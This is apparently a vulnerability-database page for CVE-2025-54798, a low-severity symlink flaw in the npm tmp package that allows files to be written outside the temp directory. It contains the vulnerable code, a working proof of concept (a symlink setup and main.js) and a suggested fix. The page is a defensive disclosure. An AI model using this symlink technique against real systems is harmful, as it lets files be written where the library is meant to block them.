Vulnerability-Lookup

GHSA-52F5-9888-HMC6

Vulnerability from github – Published: 2025-08-06 17:06 – Updated: 2025-11-03 21:34

Summary

tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter

Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Severity

2.5 (Low)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tmp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-06T17:06:04Z",
    "nvd_published_at": "2025-08-07T01:15:26Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system\u0027s tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system\u0027s default temporary directory.\n     absolute paths are fine as long as they point to a location under the system\u0027s default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it\u0027s possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === \u0027name\u0027) {\n    // assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n    let basename = path.basename(name);\n    if (basename === \u0027..\u0027 || basename === \u0027.\u0027 || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { // if (option === \u0027dir\u0027 || option === \u0027template\u0027) {\n    // assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open \u0027/tmp/mydir1/tmp-[random-id]\u0027\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require(\u0027tmp\u0027);\n\nconst tmpobj = tmp.fileSync({ \u0027dir\u0027: \u0027evil-dir\u0027});\nconsole.log(\u0027File: \u0027, tmpobj.name);\n\ntry {\n    tmp.fileSync({ \u0027dir\u0027: \u0027mydir1\u0027});\n} catch (err) {\n    console.log(\u0027test 1:\u0027, err.message)\n}\n\ntry {\n    tmp.fileSync({ \u0027dir\u0027: \u0027/foo\u0027});\n} catch (err) {\n    console.log(\u0027test 2:\u0027, err.message)\n}\n\ntry {\n    const fs = require(\u0027node:fs\u0027);\n    const resolved = fs.realpathSync(\u0027/tmp/evil-dir\u0027);\n    tmp.fileSync({ \u0027dir\u0027: resolved});\n} catch (err) {\n    console.log(\u0027test 3:\u0027, err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink",
  "id": "GHSA-52f5-9888-hmc6",
  "modified": "2025-11-03T21:34:20Z",
  "published": "2025-08-06T17:06:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/issues/207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/raszi/node-tmp"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter"
}

CVE-2025-54798 (GCVE-0-2025-54798)

Vulnerability from cvelistv5 – Published: 2025-08-07 00:04 – Updated: 2025-11-03 20:06

Title

tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter

Summary

tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.

Severity

2.5 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-08-07 14:04 UTC

CWE

CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/raszi/node-tmp/security/adviso…	x_refsource_CONFIRM
https://github.com/raszi/node-tmp/issues/207	x_refsource_MISC
https://github.com/raszi/node-tmp/commit/188b25e5…	x_refsource_MISC
https://lists.debian.org/debian-lts-announce/2025…

Impacted products

1 product

Vendor	Product	Version
raszi	node-tmp	Affected: < 0.2.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-54798",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-08-07T14:04:19.811342Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-08-07T14:04:24.089Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:06:39.242Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "node-tmp",
          "vendor": "raszi",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.2.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 2.5,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-59",
              "description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-08-07T00:04:35.370Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
        },
        {
          "name": "https://github.com/raszi/node-tmp/issues/207",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/raszi/node-tmp/issues/207"
        },
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          "name": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
        }
      ],
      "source": {
        "advisory": "GHSA-52f5-9888-hmc6",
        "discovery": "UNKNOWN"
      },
      "title": "tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-54798",
    "datePublished": "2025-08-07T00:04:35.370Z",
    "dateReserved": "2025-07-29T16:50:28.395Z",
    "dateUpdated": "2025-11-03T20:06:39.242Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-52F5-9888-HMC6

Summary

Details

PoC

Impact

CVE-2025-54798 (GCVE-0-2025-54798)

Tags

Sightings

Nomenclature

Related by attack behaviour